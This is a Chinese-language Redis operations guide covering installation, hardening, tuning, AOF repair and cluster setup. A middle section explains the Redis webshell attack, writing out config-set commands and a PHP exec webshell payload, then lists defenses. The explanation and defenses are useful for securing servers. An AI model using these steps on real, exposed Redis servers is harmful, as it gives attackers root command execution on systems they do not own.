安装redis

  1. 安装前的准备
    yum install \vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \
  2. 下载解压并安装
    cd /rootwget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install
  3. 创建配置中要求的数据文件存储位置
    mkdir /datamkdir /data/redis mkdir /usr/local/redis/log
  4. 添加修改配置文件参考配置
    cp ./redis.conf /usr/local/redisvim /usr/local/redis/redis.conf # IP绑定 bind 127.0.0.1 192.168.0.111 # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启) protected-mode yes # 访问端口 port 6379 # 连接超时,单位S,0为不启用超时 timeout 0 # 以守护进程运行 daemonize yes # 数据文件路径 dir /data/redis # 进程ID文件的路径 pidfile /usr/local/redis/log/redis.pid # 日志文件路径 logfile /usr/local/redis/log/redis.log # 开启键过期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置选项仅作参考 # 禁用部分危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加访问密码 requirepass ******** # IP绑定本机 bind 127.0.0.1
  5. 性能优化
    # 编辑/etc/rc.localvim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local执行权限 chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解决 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p
  6. 修改目录归属
    useradd -s /sbin/nologin -M redischown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis
  7. 启动redis并设置开机启动
    # 进入单元文件目录cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改文件权限为只有root用户可以编辑该文件 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis
  8. 存入数据
    /usr/local/redis/bin/redis-cli -h 127.0.0.1set num 123 save get num quit
  9. 批量删除匹配规则数据
    redis-cli keys [匹配规则]|xargs redis-cli del

Redis宕机 aof文件损坏 启动失败

  1. 拷贝aof文件
  2. 修复坏损的aof文件
    redis-check-aof --fix [aof文件名]
  3. 重新启动Redis

Redis漏洞webshell的利用

参考链接

  1. Redis该漏洞用到的原理如下
  1. redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
    下,动态修改配置dir、dbfilename;
  2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执
    行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文
  1. 件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web
    目录,则/www/test.php则会被人利用,成为入侵你服务器的入口;
  2. 漏洞举例(这是一个负面教材)
  1. redis以超级管理员用户root运行
  2. Nginx以超级管理员用户root启动,子进程也以root运行
  3. web服务器为nginx,并做如下配置:
    server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } }
  4. 通过redis-cli执行了以下命令
    config set dir /www/config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save
  5. 这时候可怕的事情出现了
  1. 在/www/目录下,存在test.php文件,它可以通过​​http://xxx.xxx.com/test.php​​访问到
  2. 如果现在访问​​http://xxx.xxx.com/test.php?cmd=xxx,​​那么xxx就会被以root用户执行(xxx为任意linux命令)

Redis漏洞webshell的防范

  1. 不要线上使用redis的web管理工具
  2. redis以低权限用户运行(如rediser等让人想不到的用户名)
  3. redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)
  4. redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")
  5. web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)

redis集群(cluster方式)

  1. 集群前的配置(单机两服务测试6379,6380)
    # 内网IP:192.168.0.100
  2. 修改redis.conf
    vim /usr/local/redis/redis.conf# 启用cluster cluster-enabled yes # 调用cluster配置文件 cluster-config-file nodes-6379.conf # 集群超时 cluster-node-timeout 15000 # 关闭宕机全停 cluster-require-full-coverage no # 集群从属元素个数 cluster-slave-validity-factor 10 # 从机数最低迁移值(master至少有两台slave,才能做slave迁移) cluster-migration-barrier 1 ESC :wq
  3. 配置文件添加
    yum install rubygem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380
  4. 修改redis-6379.conf
    vim /usr/local/redis/redis-6379.confunixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq
  5. 修改redis-6380.conf
    vim /usr/local/redis/redis-6380.confunixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq
  6. 修改开机启动
    vim /etc/rc.local/usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq
  7. 创建cluster
    cd /root/redis/src/# 查看帮助 ./redis-trib.rb help # 添加绑定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
  8. 集群测试
    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
  9. 正常关闭(不要强制关闭)
    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown